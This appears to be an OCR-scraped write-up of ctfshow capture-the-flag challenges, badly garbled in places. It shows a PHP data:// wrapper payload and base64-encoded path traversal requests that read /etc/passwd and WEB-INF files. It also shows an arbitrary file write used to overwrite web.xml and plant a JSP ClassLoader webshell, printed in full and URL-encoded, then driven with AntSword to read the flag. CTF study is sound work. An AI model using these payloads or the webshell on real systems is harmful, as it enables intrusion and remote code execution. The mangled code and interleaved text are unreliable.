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<?php

/*

# -*- coding: utf-8 -*-

# @Author: hilxa

# @Date: 2021-11-18 21:25:22

# @Last Modified by: hlxa

# @Last Modified time: 2021-11-18 22:14:12
# @email: hlxa@ctfer.com

# @link: https://ctfer.com

*/

echo !(!(include "flag.php")||(!error_reporting(@))||stripos($ _GET['filename'],"'.")||($_GET['id']!=0)]||
(strlen($_GET['content'])<=7)||('eregi("ctfsho".substr($ GET['content'],0,1),"ctfshow"))||substr($ GET['content"
1,0,1)=="w"||

(file_get_contents($_GET['filename'],'r"') !== "welcome2ctfshow"))?$flag:str_repeat(highlight file(__ FILE_ ), 0);

B, FERLUTHRME
stripos($_GET['filename'],"."')===False

$_GET['id']=0

strlen($_GET[ 'content'])>7
eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")
substr($_GET[ 'content'],0,1)=="w'===False

// LU BAFF . B+ 48
file_get_contents($_GET['filename'],'r"') == "welcome2ctfshow"
payload

?filename=data://text/plain,welcome2ctfshow&id=0&content=.79595959595959gdfgfd

€ (O 6b4592a4-24fa-427b-8ae5-72701c1cc1d9.challenge.ctf.show/?filename=data://text/plain,welcome2ctfshow8content=*79595959595959gdfgf ¢ @

INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@l Load URL | http://6b4592a4-24fa-427b-8ae5-72701c1ccld9.challenge.ctf.show/?filename=data://text/plain,welcome2ctfshow&content=*79595959595959gdfgfd
B splitURL

' Execute

[ ] Postdata [ | Referrer @ OxHEX ¥ &% %URL 3» &% BASE64 I Insert string to replace

ctfshow{8bf4b9e1-1ed9-4e05-bc26-f49de2499942}

Insert replacing string Replace All 3 B
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# —%— coding: utf-8 —%—

£ @Author: hlxa

# @ate:  2021-12-10 01:04:56

# @Last Modified by: hlxa

£ @Last Modified time: 2021-12-10 01:10:53

# @email: hlxa@ctfer.com

# @link: https://ctfer. com

# @hint: flagMEXARSE L, AHAM, FH

—

<html lang="en” >
<head>
<meta charset="UTF-8">
<title>CTFshow JEAZAF</title>
<link rel="stylesheet” href=", /css/style.css”>

</head>
<body>
<!-- partial:index. partial. html -=>
<{!—— partial:index. partial. html —>
<p id="tex
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/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

| GET /v/c?r=

LidvLidvLidvLidvLidvLi4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1

2 Host:

929ed8d3-c32d-4068-88ed-3bf15748126d. chal |enge. ctf. show

3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4;
App leWebKit/537.36 (KHTML, |ike Gecko)
Chrome/92. 0. 4515. 107 Safari/537. 36

1 Accept:
image/avif, image/webp, image/apng, image/svg+xml, i
;9=0.8

> Referer:
http://929ed8d3-c32d-4068-88ed—3bf15748126d. chal
show/s/reg

5 Accept—Encoding: gzip, deflate

7 Accept-Language: zh—CN, zh;q=0.9

3 Cookie: ctfshow=C143EF2875AD3FDBCBA596D7EDD94F41

7 Connection: close

)

|

x64)

mage/*, ¥/%

lenge. ctf.
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1 HTTP/1.1 200 OK

2 Server: nginx/1.21.1

3 Date: Tue, 04 Jan 2022 08:55:16 GMT

4 Content-Type: image/ jpeg;charset=utf-8
5 Connection: close
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6 Set—Cookie: ctfshow=A637C9B41E7E97482B9F5269F0FF9FC3;

Path=/; HttpOnly
7 Content—-Length: 2097152
8
9 root:x:0:0:root:/root:/bin/bash

10 bin:x:1:1:bin:/bin:/sbin/nologin

11 daemon: x:2:2:daemon:/sbin:/sbin/nologin

12 adm:x:3:4:adm:/var/adm:/sbin/nologin

13 lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin

14 sync:x:5:0:sync:/sbin:/bin/sync

15 shutdown: x:6:0:shutdown:/sbin:/sbin/shutdown
16 halt:x:7:0:halt:/sbin:/sbin/halt
17mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
18 operator:x:11:0:operator:/root:/sbin/nologin
19 games:x:12:100: games: /usr/games:/sbin/nologin
20 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
21 nobodv: x:99:99:Nobodv:/:/sbin/nologin
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/v/c?r=Li4vLi4vLi4vVOVCLUIORi93ZWIueG1ls
../../../WEB-INF/web.xml

lequest Response ==
retty IREIVM Hex \n = PrettyHex Render \n =
1 GET /v/c?r=Li4vLi4vLi4vVOVCLUIORi93ZWlueG1s 1 HTTP/1.1 200 0K
HTTP/1. 1 2 Server: nginx/1.21.1
2 Host: 3 Date: Mon, 24 Jan 2022 01:48:31 GMT
41e513f2-9de6-40eb—aefe—ecfaf415aed8. chal lenge. ¢ 4 Content-Type: image/jpeg;charset=utf-8
tf. show 5 Connection: close
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; 6 Content-Length: 2097152
x64) AppleWebKit/537.36 (KHTML, |ike Gecko) 7
Chrome/92. 0. 4515. 107 Safari/537.36 8 <?xml version="1.0" encoding="UTF-8"?>
4 Accept: 9 <web—app version="3.0"
image/avif, image/webp, image/apng, image/svgtxml, i 10 xmlns="http://java. sun. com/xml/ns/ javaee"
mage/*, ¥/%*.q=0. 8 11
5 Referer: xmlns:xsi="http://waw. w3. org/2001/XMLSchema—ins
http://41e513f2-9de6-40eb—aefe—ecfaf415aed8. chal tance"
lenge. ctf. show/s/reg 12
6 Accept—Encoding: gzip, deflate xsi:schemalocation="http://java. sun. com/xml/ns/
7 Accept—Language: zh—CN, zh;g=0. 9 javaee
8 Cookie: ctfshow=427D46E24CA134EA476E78E8ASCCCE75 13
9 Connection: close http://java. sun. com/xml/ns/ javaee/web—app 3 0. x
0 sd">

1 14 <display—name></display—name>

- 4
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<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xs5i:schemalocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/404.html</location>
</error-page>
<session-config>
<cookie-config>
<name>ctfshow</name>
<http-only>true</http-only>
</cookie-config>
<tracking-mode>COOKIE</tracking-mode>
</session-config>
<error-page>
<error-code>400</error-code>
<location>/404.html</location>
</error-page>
</web-app>

...l .WEB-INF/pom.xml



<project xmlns="http://maven.apache.org/POM/4.0.0"
smlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
¥s1l:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/maven-v4_0 0.xsd">

<modelVersion>4.0.0</modelVersion>

<groupId>com.ctfshow</groupId>
<artifactId>FlagShop</artifactId>
<packaging>jar</packaging>

<version>1.0-SNAPSHOT</version>

<name>FlagShop</name>
<url>http://maven.apache.org</url>

<dependencies>

<dependency>

<groupId>ctfshow</groupId>

<artifactId>tiny-framework</artifactId>

<scope>system</scope>

<version>1.1</version>
<systemPath>${basedir}\1ib\tiny-framework-1.0.1.jar</systemPath>

</dependency>
</dependencies>

</project>

RIBUHELE ${basedir}\1lib\tiny-framework-1.0.1.jar , HEATIEEL

/v/c?r=Li4vLi4vLi4vVOVCLU1ORi19saWIvdGlueSimcmFtZXdvcmstMS4AwL jEuamFy

ERTHTRBjarX - REEZ R0, HHEETHE

63 6F 6D 2F 63 74 66 73
74 2E 63 6C 61 73 73 50
04 00 00 23 00 00 00 00
2F 6D 6F 64 65 6C 2F 72
08 00 08 00 E8 36 94 53
00 00 E1 63 00 00 63 6F
2F 52 €5 73 70 6F 6E 73
D9 BB 64 C5 00 00 00 21
|6D 65 74 61 64 61 74 61

68 6F 77 2F 6D 6F 64 65
4B 01 02 14 00 14 00 08
00 00 00 00 00 00 00 00
65 71 75 65 73 74 2F 47
94 @ E3 EF 2 03 00 00
6D 2F 63 74 66 73 68 6F
65 2E 63 6C 61 73 73 50
01 00 00 OB 00 00 00 00
50 4B 05 06 00 00 00 00

6C 2F 72 65 71 75 65 73
00 08 00 E8 36 94 53 AD
00 54 61 00 00 63 6F 6D
45 54 2E 63 6C 61 73 73
BD 07 00 00 29 00 00 00
77 2F 6D 6F 64 65 6C 2F
4B 01 02 14 00 14 00 08
00 00 00 0O 00 00 00 0O
17 00 17 00 0O 07 00 00

74 2F 52 65 71 75 65 73
A0 4D 82 3C 02 00 00 16
2F 63 74 66 73 68 6F 77
50 4B 01 02 14 00 14 00
00 00 00 00 00 00 00 00
72 65 73 70 6F 6E 73 65
00 08 00 06 86 93 53 11
00 OA 68 00 00 2E 6D 79

RmFEFFEIFRBBEHAEE, HIEXEREHIES. . /configicontroller.propertiesiit— T

confictfshow nodel /request /Reques
t.classPK.......... 6.S..M<...
L Ta. . cofctfshow
/rodel /request/GET. classPK ... ...
..... 6.S )
... C..covictfshow nodel /response
/Response. classPK ............ S.

netadataPK .............. [
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.
& 1“}]\%?{621 ~ (C} com. ctfshow. config RouterConfig XA
=8 8
! =88 com.ctfshow 1 |package com.ctfshow.config;
5-f3 confi 2], . R . .
=N C) RoJierConfi | el g e e
. g 4 |import java.io.Filej
¥ CONTROLLER St < |import java.io.FileInputStream;
% METHOD String g |import java.util.Properties;
S " =
controllerPro e 7
s . P : o [public class RouterConfig {
“ methodProp Propertie & private static final String [ONTROLLER = “/../config/controller ;
9 String = "/../config/ olle ;
¢ getContr‘oller(Str‘mg) 10 private static final String MEFHOR—/—Fcomfig/methodpropertd
¢ getMethod(String) S 11 private static Properties controllerPr‘op,
= E controller 12 private static Properties methodProp;
+- i base 3
=@ ErrorPage 14 publ%c ;tatic String get(ontr:cller‘[i-i ing key) { -
15 String path = RouterConfig.class.getResource("/").getPath();
. ® showErrorPage() voic 16 if (controllerProp == null || controllerProp.isEmpty()) {
---f filter s contrellerProp = new Properties(); 2l SLF

/v/c?r=Li4vLi4vLi4vVOVCLU1O0R19jb25maWcvY29udHIvbGx1lci5wcmOwZXJI0aWVz

XA R 1% R index 12 i 2%

L) 1jar | controller.properties

s=com.cttshow.controller.Index!

errorController=com.ctfshow.controller.ErrorPage!
index=com.ctfshow.controller.Index!
v=com.ctfshow.controller.Validate !

@EPOEPOE@OE@OE@OE@O@E@OE@O@E@E@EP@EP@E@E@E@@@@

T #indexi) 1z #i 2 classes/com/ctfshow/controller/Index.class

/WEB-INF/classes/: £ T ¥ S A I/ class 30, B3 servlet class fldEserviet class, fAIRGERETE jarscth

/v/c?r=Li4vLi4vLi4vVOVCLUIOR19jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=



Index. class i

= import com.ctfshow.controller.Index;
import com.ctfshow.controller.base.BaseController;
import com.ctfshow.util.FileUtil;
import java.util.regex.Pattern;

= public class Index extends BaseController {
= public void doIndex() {

15 String tempPath = String.valueOf(this.request.server().path()) + "../../index.html";
16 print(FileUtil.readFileByString(tempPath));
¥
= public void doReg() {
21 String username = "";
22 String password = "";
249 if (post("username") == null) {
25 print(FileUtil.readFileByString(String.valueOf(this.request.server().path()) + "../../reg.html"));
return;
}
29 if (post("username") != null && l!post("username").equals("") && post("username")[@] != null)
30 username = post("username")[@];
33 if (post("password") != null & !post("password").equals("") && post("password")[@] != null)
34 password = post("password")[@];
37 String pattern = "~[a-z\\.A-ZB-9]+";
38e if (lPattern.matches(pattern, username)) {
39 print ("<script>alert (' P &AHiL Y</script>");
return;
>
43 FileUtil.writeFile(String.valueOf(this.request.server().path()) + "../" + username, password);
44 print("<script>alert('/EfMMI)");window. location.href="/s/login'</script>");
h !

= public void doLogin() {

48 String username = "";
49 String password = "";
51@ if (post("username") == null) {
52 print(FileUtil.readFileByString(String.valueOf(this.request.server().path()) + "../../login.html"));
return;
)
57 if (post("username") != null && !post("username").equals("") && post("username")[@] != null)
58 username = post("username")[@];
61 if (post("password") != null & l!post("password").equals("") && post("password")[@] != null)
62 password = post("password")[@];
65 String pattern = "~[a-z\\.A-Z@-9]+";
66 @ if (!Pattern.matches(pattern, username)) {
67 print("<script>alert (' HIF &AGik Y</script>");
return;
} CSDN @shuzk
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FileUtil.writeFile(String.valueOf(this.request.server().path()) + ./" + username, password);

HF S Z RSN R, , FIUIHREEERE XM, RitE B classessHET
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username=web.xml&password=<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
¥mlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
¥s51:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<filter>
<filter-name>routerFilter</filter-name>
<filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
</filter>
<filter-mapping>
<filter-name>routerFilter</filter-name>
<url-pattern>/404.html</url-pattern>
<url-pattern>/s/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>ctfshow</servlet-name> //FM—AservietRBLS BIWEB-INF T Ijsp3Cf
<jsp-file>/WEB-INF/1.jsp</jsp-file> //B&#Rctfshowlildl LAl EFTFHL.isp
</servlet>
<servlet-mapping>
<servlet-name>ctfshow</servlet-name>
<url-pattern>/ctfshow</url-pattern>
</servlet-mapping> </web-app>

WG EfE—Nsp kY (ZFEfpasswd)

<%!
class U extends ClasslLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, @, b.length);

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer"”, String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

ERZEurgwhy, FRNE BT



LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS -~ LFl ~ SSTI ~ ENCODING -~ HASHING ~

URL
http://68faa083-22bc-45d1-ada0-e3a758a097ac.challenge.ctf.show/s/reg

enctype

- Enable POST application/x-www-form-urlencoded A ADD HEADER

Body
username=1.jsp&password=%3C%25!%0A%20%20%20%20class%20U%20extends%20ClassLoader

%20%7B%0A%20%20%20%20%20%20%20%20U(ClassLoader%20c)%20%7B%0A%20%20%20%20%
20%20%20%20%20%20%20%20super(c)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%2
0%20%20%20%20%20%20public%20Class%20g(byte%5B%5D%20b)%20%7B%0A%20%20%20%20
%20%20%20%20%20%20%20%20return%20super.defineClass(h%2C%200%2C%20b.length)%3B%0
A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%0A%20%20%20%20pub
lic%20byte%5B%5D%20base64Decode(String%20str)%20throws%20Exception%20%7B%0A%20%2
0%20%20%20%20%20%20try%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class

%20cla77%20%30%20Class. forName(%22sun.misc. BASF64Decoder%22)%3R%0A%20%20%20%20 CSDN @shuX

C R A &z | view-source:68faa083-22bc-45d1-ada0-e3a758a097ac.challenge.ctf.show/ctfshow

il
i)

CSDMN @shuk

WS EE, 15%fag

AntSword HIE BHO FiE
" as £59101.34.230.193

™ %i%i: /ctfshowflag

/[ctfshowflag

1 ctfshow{25130730-ac85-4b59-955a-45b4e07b5d33}
2
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